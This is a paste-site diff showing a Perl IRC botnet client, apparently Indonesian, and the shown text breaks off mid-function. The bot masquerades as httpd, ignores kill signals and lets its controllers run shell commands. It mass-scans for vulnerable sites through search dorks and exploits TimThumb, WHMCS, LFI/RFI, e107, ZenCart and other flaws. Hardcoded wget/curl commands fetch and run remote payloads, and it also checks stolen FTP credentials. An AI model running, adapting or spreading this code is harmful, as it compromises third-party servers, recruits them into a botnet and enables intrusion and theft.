API tools faq
paste
View difference between Paste ID: iUwMDhjG and pS4y7sVS
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/perl
2
3
use HTTP::Request;

4
use HTTP::Request::Common;

5
use HTTP::Request::Common qw(POST);

6
use LWP::Simple;

7
use LWP 5.64;

8
use LWP::UserAgent;

9
use Socket;

10
use IO::Socket;

11
use IO::Socket::INET;

12
use IO::Select;

13
use MIME::Base64;

14
use URI::Escape;

15
use Digest::MD5 qw(md5_hex);

16
use DBI;

17
use DBD::mysql;

18
19
my $datetime    = localtime;

20
my $fakeproc  	= "/usr/sbin/httpd";

21
my $ircserver   = "irc.jatimcom.net";

22
my $ircport   	= "7000";

23
my $nickname  	= "BKHT-SC[".int(rand(100))."]";

24
my $ident     	= "Biz";

25
my $channel   	= "#biangkerox";

26
my $chanxxx		= "#biangkerox";

27
my $chaninfo	= "#biangkerox";

28
my $submitchan  = "#biangkerox";

29
my $admin    	= "CaLiBeR";

30
my $fullname    = "9,1[4!9]11 C 12A 9L 4I 8B 13E 11R ";

31
my $rawmsg      = $ARGV[4];

32
my $msgraw      = $ARGV[5];

33
34
my $nob0dy	= "9,1[4!9]11 C 12A 9L 4I 8B 13E 11R ";

35
my $whmcslogo	= "9,1[4!9]11WHMCS 9<4=9> ";

36
my $thumblogo	= "9,1[4!9]11TimThumb 9<4=9> ";

37
my $zerologo	= "9,1[4!9]11zBoarD 9<4=9> ";

38
my $lfilogo	= "9,1[4!9]11Lfi 9<4=9> ";

39
my $rfilogo	= "9,1[4!9]11Rfi 9<4=9> ";

40
my $xmllogo	= "9,1[4!9]11Xml 9<4=9> ";

41
my $oscologo	= "9,1[4!9]11Osco 9<4=9> ";

42
my $oscosqllogo	= "9,1[4!9]11O-Sql 9<4=9> ";

43
my $e107logo	= "9,1[4!9]11E107 9<4=9> ";

44
my $ihlogo	= "9,1[4!9]11Is-Human 9<4=9> ";

45
my $zenlogo	= "9,1[4!9]11ZenCart 9<4=9> ";

46
my $rfglogo	= "9,1[4!9]11RfG 9<4=9> ";

47
my $whmcscmd	= '!whmcs';

48
my $thumbcmd	= "!timx";

49
my $zerocmd	= "!zero";

50
my $lficmd	= "!lfi";

51
my $rficmd	= "!rfi";

52
my $xmlcmd	= "!xml";

53
my $e107cmd	= "!e107";

54
my $zencmd	= "!zen";

55
my $ihcmd	= "!ishu";

56
my $oscocmd = "!osco";

57
my $cmdlfi	= "!cmdlf";

58
my $cmdxml	= "!cmdxm";

59
my $cmde107	= "!cmde10";

60
my $rfgcmd = "!rfg";

61
my $ftpcmd	= "!ftp";

62
my $spreadMode	= 1;

63
my $zerowget	= 1;

64
my $zerolwp	= 1;

65
my $zerocurl	= 1;

66
my $gps		= 1;

67
my $gps2	= 0;

68
my $timot	= 10;

69
my $silentmode	= 0;

70
my $hostinjector = "http://flickr.com.splendidodesigns.com/";

71
my $thumbid = "http://".$hostinjector."/stunxx.php";

72
my $botdid = "http://".$hostinjector."/load.php";

73
my $botxdid = "http://".$hostinjector."/stunxx.php";

74
my $thumbshell = uri_escape($thumbid);

75
my $md5php = md5_hex($thumbid).".php";

76
my $md5bot = md5_hex($botdid).".php";

77
my $md5botx = md5_hex($botxdid).".php";

78
my $botid = uri_escape($botdid);

79
my $botxid = uri_escape($botxdid);

80
my $injector = "http://".$hostinjector."/bad.txt";

81
my $botshell = "http://".$hostinjector."/bot.txt";

82
my $subticket = "/submitticket.php?step=2&deptid=1";

83
my $action = "/data/lobex.php";

84
my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fbad.php;wget%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";

85
my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbad.php;lwp-download%20-a%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";

86
my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbad.php;curl%20-C%20-%20-O%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";

87
my $uagent    = "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0";

88
my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";

89
my @sitexxx		= ("www.iordachemarian.ro","www.anglais4xplusvite.ch/french","professor.sergiojr.info","northernart.co.th","fer.comoj.com","dateakademie.de");

90
my $jpath	= "/wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";

91
my $jack  = "http://".$jacks.$jpath;

92
my $jack1 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";

93
my $jack2 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";

94
my $jack3 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";

95
my $jack4 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";

96
my $jack5 = "http://barileatherfurniture.com/banner_images/cihui.php?q=";

97
my $engine	= "JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY,

98
				JacKES,JacKUK,JacKUS,JacKJP,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKUA,

99
				JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JackIL,JackIM,JacKSI,JacKBIZ,GooGLe,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam";

100
101
$SIG{'INT'}   = 'IGNORE';

102
$SIG{'HUP'}   = 'IGNORE';

103
$SIG{'TERM'}  = 'IGNORE';

104
$SIG{'CHLD'}  = 'IGNORE';

105
$SIG{'PS'}    = 'IGNORE';

106
#chdir("/");

107
$ircserver = "$ARGV[0]" if $ARGV[0];

108
$ircport = "$ARGV[1]" if $ARGV[1];

109
$nickname = "$ARGV[2]" if $ARGV[2];

110
$channel = "$ARGV[3]" if $ARGV[3];

111
$0 = "$fakeproc"."\0" x 16;

112
my $pid = fork;

113
exit if $pid;

114
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);

115
116
our %irc_servers;

117
our %DCC;

118
my $dcc_sel = new IO::Select->new();

119
$sel_client = IO::Select->new();

120
sub sendraw {

121
    if ($#_ == '1') {

122
    my $socket = $_[0];

123
    print $socket "$_[1]\n";

124
    } else {

125
        print $IRC_cur_socket "$_[0]\n";

126
    }

127
}

128
sub connector {

129
    my $mynick = $_[0];

130
    my $ircserver_con = $_[1];

131
    my $ircport_con = $_[2];

132
    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);

133
    if (defined($IRC_socket)) {

134
        $IRC_cur_socket = $IRC_socket;

135
        $IRC_socket->autoflush(1);

136
        $sel_client->add($IRC_socket);

137
        $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";

138
        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";

139
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;

140
        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;

141
        nick("$mynick");

142
        sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");

143
        sleep(1);}}

144
145
sub parse {

146
    my $servarg = shift;

147
    if ($servarg =~ /^PING \:(.*)/) {

148
        sendraw("PONG :$1");

149
    }

150
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {

151
        if (lc($1) eq lc($mynick)) {

152
            $mynick = $4;

153
            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;

154
        }

155
    }

156
    elsif ($servarg =~ m/^\:(.+?)\s+433/i) {

157
        nick("$mynick".int rand(1));

158
    }

159
    elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {

160
        $mynick = $2;

161
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;

162
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";

163
        sendraw("MODE $mynick +Bx");

164
        sendraw("NS id qwe123");

165
        sleep(3);

166
        sendraw("JOIN $channel correct");

167
        sendraw("JOIN $chanxxx mejen");

168
        sleep(1);

169
	sendraw("PRIVMSG $channel :9,1[4!9]15 EhhEemmmm !!!");

170
        sendraw("PRIVMSG $admin :Hi $admin im here !!!");

171
    }

172
}

173
174
my $line_temp;

175
while( 1 ) {

176
    while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }

177
    select(undef, undef, undef, 0.01);

178
    delete($irc_servers{''}) if (defined($irc_servers{''}));

179
    my @ready = $sel_client->can_read(0);

180
    next unless(@ready);

181
    foreach $fh (@ready) {

182
        $IRC_cur_socket = $fh;

183
        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};

184
        $nread = sysread($fh, $ircmsg, 4096);

185
        if ($nread == 0) {

186
            $sel_client->remove($fh);

187
188
            $fh->close;

189
            delete($irc_servers{$fh});

190
        }

191
        @lines = split (/\n/, $ircmsg);

192
        $ircmsg =~ s/\r\n$//;

193
        if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {

194
            my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);			

195
            if ($path eq $mynick) {

196
				if ($msg =~ /^PING (.*)/) {

197
					sendraw("NOTICE $nick :PING $1");

198
				}

199
				if ($msg =~ /^VERSION/) {

200
					sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");

201
				}

202
				if ($msg =~ /^TIME/) {

203
					sendraw("NOTICE $nick :TIME ".$datetime."");

204
				}

205
				if (&isAdmin($nick) && $msg eq "!die") {

206
					&shell("$path","kill -9 $$");

207
				}

208
				if (&isAdmin($nick) && $msg eq "!killall") {

209
					&shell("$path","killall -9 perl");

210
				}

211
				if (&isAdmin($nick) && $msg eq "!reset") {

212
					sendraw("QUIT :Restarting...");

213
				}

214
				if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {

215
					sendraw("JOIN #".$1);

216
				}

217
				if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {

218
					sendraw("PART #".$1);

219
				}

220
				if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {

221
					sendraw("NICK ".$1);

222
				}

223
				if (&isAdmin($nick) && $msg =~ /^!pid/) {

224
					sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");

225
				}

226
				if (&isAdmin($nick) && $msg !~ /^!/) {

227
					&shell("$nick","$msg");

228
				}

229
				if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {

230
					sendraw("$rawmsg $msgraw ".$1);

231
				}

232
				if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {

233
					sendraw("PRIVMSG $rawmsg ".$1);

234
				}

235
				if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {

236
					sendraw("PRIVMSG $rawmsg :ACTION ".$1."");

237
				}

238
				if (&isAdmin($nick) && $msg =~ /^!chtcmd\s+(.*) -d/) {

239
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

240
					$newthumbcmd = $1;

241
					$thumbcmd = $newthumbcmd;

242
					&msg("$admin","$thumblogo9 Scan Command change to4 $thumbcmd ");

243
				}}}

244
				if (&isAdmin($nick) && $msg =~ /^!chzcmd\s+(.*) -d/) {

245
					$newzerocmd = $1;

246
					$zerocmd = $newzerocmd;

247
					&msg("$admin","$zerologo9 Scan Command change to4 $zerocmd ");

248
				}

249
				if (&isAdmin($nick) && $msg =~ /^!chwcmd\s+(.*) -d/) {

250
					$newwhmcscmd = $1;

251
					$whmcscmd = $newwhmcscmd;

252
					&msg("$admin","$whmcslogo9 Scan Command change to4 $whmcscmd ");

253
				}

254
				if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {

255
					$newtimot = $1;

256
					$timot = $newtimot;

257
					&msg("$admin","9,1 Get Content TimeOut change to4 $timot ");

258
				}

259
				if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {

260
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

261
					$newchan = $1;

262
					$chanxxx = $newchan;

263
					&msg("$admin","9,1 xChan change to4 $chanxxx ");

264
				}}}

265
			}

266
			else {

267
				if (&isAdmin($nick) && $msg eq "!die") {

268
					&shell("$path","kill -9 $$");

269
				}

270
				if (&isAdmin($nick) && $msg eq "!killall") {

271
					&shell("$path","killall -9 perl");

272
				}

273
				if (&isAdmin($nick) && $msg eq "!reset") {

274
					sendraw("QUIT :Restarting...");

275
				}

276
				if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {

277
					sendraw("JOIN #".$1);

278
				}

279
				if (&isAdmin($nick) && $msg eq "!part") {

280
					sendraw("PART $path");

281
				}

282
				if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {

283
					sendraw("PART #".$1);

284
				}

285
				if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {

286
					&shell("$path","$1");

287
				}

288
				if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {

289
					&shell("$path","$1");

290
				}

291
				if ($msg=~ /^!silent\s+(.*) -d/) {

292
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

293
					$smod = $1;

294
				if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }

295
				elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }

296
					&msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");

297
				}}}

298
				if ($msg=~ /^!jackx\s+(.*) -d/) {

299
					$engmod = $1;

300
				if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }

301
302
				elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }

303
					&msg("$path","9,1[4!9]Jack Engine15 $gpsstat !!!!");

304
				}

305
				if ($msg=~ /^!engine\s+(.*) -d/) {

306
					$engmod = $1;

307
				if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }

308
				elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }

309
					&msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!");

310
				}

311
				if (&isAdmin($nick) && $msg =~ /^!injector\s+(.*) -d/) {

312
					$newhostinjector= $1;

313
					$hostinjector = $newhostinjector;

314
					&msg("$path","9,1[4!9]Injector 15change to4 $hostinjector ");

315
				}

316
				if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){

317
					my $url = $1.$lfdtest;

318
					my $cmd = $2;

319
					&cmdlfi($url,$cmd,$path);

320
				}

321
				if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){

322
					my $url = $1;

323
					my $cmd = $2;

324
					&cmdxml($url,$cmd,$path);

325
				}

326
				if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){

327
					my $url = $1;

328
					my $cmd = $2;

329
					&cmde107($url,$cmd,$path);

330
				}

331
                ##################################################################### HELP COMMAND

332
				if ($msg=~ /^!help/) {

333
					my $helplogo = "9,1[4!9]15Help 4<9=4> ";sleep(3);

334
					&msg("$path","$helplogo9Timthumb Vuln Scan:15 $thumbcmd [bug] [dork] ");

335
					&msg("$path","$helplogo9RFG Vuln Scan:15 $rfgcmd [bug] [dork] ");

336
					&msg("$path","$helplogo9RFI Vuln Scan:15 $rficmd [bug] [dork] ");

337
					&msg("$path","$helplogo9LFI Vuln Scan:15 $lficmd [bug] [dork] ");

338
					&msg("$path","$helplogo9XML Vuln Scan:15 $xmlcmd [bug] [dork] ");

339
					&msg("$path","$helplogo9e107 Vuln Scan:15 $e107cmd [dork] ");

340
					&msg("$path","$helplogo9WHMCS Vuln Scan:15 $whmcscmd [dork] ");

341
					&msg("$path","$helplogo9ZeroBoard Vuln Scan:15 $zerocmd [dork] ");

342
					&msg("$path","$helplogo9osCommerce Vuln Scan:15 $oscocmd [dork] ");

343
					&msg("$path","$helplogo9ZenCart Vuln Scan:15 $zencmd [dork] ");

344
				}

345
                if (&isAdmin($nick) && $msg =~ /^!pid/) {

346
                    &msg("$nick","6Fake Process/PID : $fakeproc - $$");

347
                }

348
                if ($msg=~ /^!respon/ || $msg=~ /^!id/) {

349
                    if (&isFound($thumbid,"GIF89")) {

350
                        &msg("$path","9,1[4!9]Injector 4<9=4>9 Ready!!! ");

351
                    } else {

352
                        &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");

353
                    }

354
                }

355
				if ($msg=~/^!bypass/){

356
				if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

357
					my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";

358
					my $cekby1 = &get_content($jack1."byroe");

359
					if ($cekby1 =~ /byroe\.net/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4Lost!!!"; }

360
					my $cekby2 = &get_content($jack2."byroe");

361
					if ($cekby2 =~ /byroe\.net/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4Lost!!!"; }

362
					my $cekby3 = &get_content($jack3."byroe");

363
					if ($cekby3 =~ /byroe\.net/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4Lost!!!"; }

364
					my $cekby4 = &get_content($jack4."byroe");

365
					if ($cekby4 =~ /byroe\.net/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4Lost!!!"; }

366
					my $cekby5 = &get_content($jack5."byroe");

367
					if ($cekby5 =~ /byroe\.net/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4Lost!!!"; }

368
					&msg("$path","9,1[4!9]Bypass 4<9=4>15 JacK1=$bystats1 15JacK2=$bystats2 15JacK3=$bystats3 15JacK4=$bystats4 15JacK5=$bystats5")

369
				}}}

370
                ##################################################################### SCAN

371
                if ($msg =~ /^$oscocmd\s+(.*)/) {

372
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

373
					my $dork = $1;

374
					my $simpan = 'situs.txt';

375
						if (&isFound($thumbid,"GIF89")) {

376
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Oscommerce di 4$path ");

377
							&msg("$path","$oscologo9Dork 4<9=4>15 $dork ");

378
							&msg("$path","$oscologo9Search Engine 4<9=4>15 Loading ");

379
							&se_start($path,"apalah",$simpan,$dork,$engine,9);

380
							} else {

381
							&msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;

382
							}

383
						}

384
					}

385
				}

386
                if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) {

387
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

388
					my ($bug,$dork) = ($1,$2);

389
					my $simpan = 'situs.txt';

390
						if (&isFound($thumbid,"GIF89")) {

391
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan LFI di 4$path ");

392
							&msg("$path","$lfilogo9Dork 4<9=4>15 $dork ");

393
							&msg("$path","$lfilogo9Bugz 4<9=4>15 $bug ");

394
							&msg("$path","$lfilogo9Search Engine 4<9=4>15 Loading ");

395
							&se_start($path,$bug,$simpan,$dork,$engine,3);

396
							} else {

397
							&msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;

398
							}

399
						}

400
					}

401
				}

402
                if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) {

403
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

404
					my ($bug,$dork) = ($1,$2);

405
					my $simpan = 'situs.txt';

406
						if (&isFound($thumbid,"GIF89")) {

407
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RFI di 12$path ");

408
							&msg("$path","$rfilogo9Dork 4<9=4>15 $dork ");

409
							&msg("$path","$rfilogo9Bugz 4<9=4>15 $bug ");

410
							&msg("$path","$rfilogo9Search Engine 4<9=4>15 Loading ");

411
							&se_start($path,$bug,$simpan,$dork,$engine,5);

412
							} else {

413
							&msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;

414
							}

415
						}

416
					}

417
				}

418
                if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {

419
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

420
					my ($bug,$dork) = ($1,$2);

421
					my $simpan = 'situs.txt';

422
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan XML di 12$path ");

423
							&msg("$path","$xmllogo9Dork 4<9=4>15 $dork ");

424
							&msg("$path","$xmllogo9Bugz 4<9=4>15 $bug ");

425
							&msg("$path","$xmllogo9Search Engine 4<9=4>15 Loading ");

426
							&se_start($path,$bug,$simpan,$dork,$engine,6);

427
						}

428
					}

429
				}

430
                if ($msg =~ /^$thumbcmd\s+(.+?[.php])\s+(.*)/) {

431
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

432
					my ($bug,$dork) = ($1,$2);

433
					my $simpan = 'situs.txt';

434
						if ($bug =~ m/^\//){ &msg("$path","9,1[4!9]Bug nya gak usah pakek \/ di depan :p "); exit; } else {

435
						if (&isFound($thumbid,"GIF89")) {

436
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan TimTHumb di 12$path ");

437
							&msg("$path","$thumblogo9Dork 4<9=4>15 $dork ");

438
							&msg("$path","$thumblogo9Bugz 4<9=4>15 $bug ");

439
							&msg("$path","$thumblogo9Search Engine 4<9=4>15 Loading ");

440
							&se_start($path,$bug,$simpan,$dork,$engine,1);

441
							} else {

442
							&msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; }

443
							}

444
						}

445
					}

446
				}

447
                if ($msg =~ /^$whmcscmd\s+(.*)/) {

448
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

449
						my ($bug,$dork) = ("cart.php?a=byroe&templatefile=",$1);

450
						my $simpan = 'situs.txt';

451
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan WHMCS di 12$path ");

452
							&msg("$path","$whmcslogo9Dork 4<9=4>15 $dork ");

453
							&msg("$path","$whmcslogo9Search Engine 4<9=4>15 Loading ");

454
							&se_start($path,$bug,$simpan,$dork,$engine,2);

455
						}

456
					}

457
				}

458
                if ($msg =~ /^$zerocmd\s+(.*)/) {

459
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

460
						if (&isFound($thumbid,"GIF89")) {

461
						my ($bug,$dork) = ("zboard.php?id=byroe",$1);

462
						my $simpan = 'situs.txt';

463
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan zboard di 12$path ");

464
							&msg("$path","$zerologo9Dork 4<9=4>15 $dork ");

465
							&msg("$path","$zerologo9Search Engine 4<9=4>15 Loading ");

466
							&se_start($path,$bug,$simpan,$dork,$engine,4);

467
							} else {

468
							&msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");

469
							}

470
						}

471
					}

472
				}

473
                if ($msg =~ /^$e107cmd\s+(.*)/) {

474
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

475
						if (&isFound($thumbid,"GIF89")) {

476
						my ($bug,$dork) = ("contact.php",$1);

477
						my $simpan = 'situs.txt';

478
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan E107 di 12$path ");

479
							&msg("$path","$e107logo9Dork 4<9=4>15 $dork ");

480
							&msg("$path","$e107logo9Search Engine 4<9=4>15 Loading ");

481
							&se_start($path,$bug,$simpan,$dork,$engine,7);

482
							} else {

483
							&msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");

484
							}

485
						}

486
					}

487
				}

488
                if ($msg =~ /^$ihcmd\s+(.*)/) {

489
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

490
						if (&isFound($thumbid,"GIF89")) {

491
						my ($bug,$dork) = ("wp-content/plugins/is-human/engine.php",$1);

492
						my $simpan = 'situs.txt';

493
							&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Is-Human di 12$path ");

494
							&msg("$path","$ihlogo9Dork 4<9=4>15 $dork ");

495
							&msg("$path","$ihlogo9Search Engine 4<9=4>15 Loading ");

496
							&se_start($path,$bug,$simpan,$dork,$engine,8);

497
							} else {

498
							&msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");

499
							}

500
						}

501
					}

502
				}

503
                if ($msg =~ /^$zencmd\s+(.*)/) {

504
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

505
						my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);

506
						my $simpan = 'situs.txt';

507
						&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan ZenCart di 12$path ");

508
						&msg("$path","$zenlogo9Dork 4<9=4>15 $dork ");

509
						&msg("$path","$zenlogo9Search Engine 4<9=4>15 Loading ");

510
						&se_start($path,$bug,$simpan,$dork,$engine,10);

511
						}

512
					}

513
				}

514
				if ($msg =~ /^$rfgcmd\s+(.*)/) {

515
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

516
						my ($bug,$dork) = ("apalah",$1);

517
						my $simpan = 'situs.txt';

518
						&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RFG di 12$path ");

519
						&msg("$path","$rfglogo9Dork 4<9=4>15 $dork ");

520
						&msg("$path","$rfglogo9Search Engine 4<9=4>15 Loading ");

521
						&se_start($path,$bug,$simpan,$dork,$engine,11);

522
					}

523
					}

524
				}

525
				if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {

526
				my $url = $_[0];

527
				my $host = $_[1];

528
				my $user = $_[2];

529
				my $pass = $_[3];

530
					if (my $pid = fork) {

531
						waitpid($pid, 0);

532
					} else {

533
						if (fork) { exit; } else {

534
				my ($host,$user,$pass) = ($1,$2,$3);

535
					&msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");

536
					my $success = 1;

537
					use Net::FTP;

538
					my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);

539
					$success = 0 if $ftp->login($user,$pass);

540
					$ftp->quit;

541
					if ($success == 0) {

542
						&notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");

543
						} else {

544
						&notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");

545
546
					}

547
				}

548
			}

549
		}

550
	}

551
}

552
        for(my $c=0; $c<= $#lines; $c++) {

553
            $line = $lines[$c];

554
            $line = $line_temp.$line if ($line_temp);

555
            $line_temp = '';

556
            $line =~ s/\r$//;

557
            unless ($c == $#lines) {

558
559
                parse("$line");

560
            } else {

561
                if ($#lines == 0) {

562
                    parse("$line");

563
                } elsif ($lines[$c] =~ /\r$/) {

564
                    parse("$line");

565
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {

566
                    parse("$line");

567
                } else {

568
                    $line_temp = $line;

569
                }

570
            }

571
        }

572
    }

573
}

574
575
##################################################################################

576
577
sub type() {

578
my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;

579
	if ($type == 1){$type=&thumb_exploit($chan,$bug,$simpan,$dork,$engine);}

580
	elsif ($type == 2){$type=&whmcs_exploit($chan,$bug,$simpan,$dork,$engine);}

581
	elsif ($type == 3){$type=&lfi_exploit($chan,$bug,$simpan,$dork,$engine);}

582
	elsif ($type == 4){$type=&zero_exploit($chan,$bug,$simpan,$dork,$engine);}

583
	elsif ($type == 5){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine);}

584
	elsif ($type == 6){$type=&xml_exploit($chan,$bug,$simpan,$dork,$engine);}

585
	elsif ($type == 7){$type=&e107_exploit($chan,$bug,$simpan,$dork,$engine);}

586
	elsif ($type == 8){$type=&ih_exploit($chan,$bug,$simpan,$dork,$engine);}

587
	elsif ($type == 9){$type=&osco_exploit($chan,$bug,$simpan,$dork,$engine);}

588
	elsif ($type == 10){$type=&zen_exploit($chan,$bug,$simpan,$dork,$engine);}

589
	elsif ($type == 11){$type=&rfg_exploit($chan,$bug,$simpan,$dork,$engine);}

590
}

591
592
##################################################################################

593
594
sub se_start() {

595
my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;

596
	if ($gps ==1) {

597
	if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAE",$type); } exit; } }

598
	if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAR",$type); } exit; } }

599
	if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAT",$type); } exit; } }

600
	if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAU",$type); } exit; } }

601
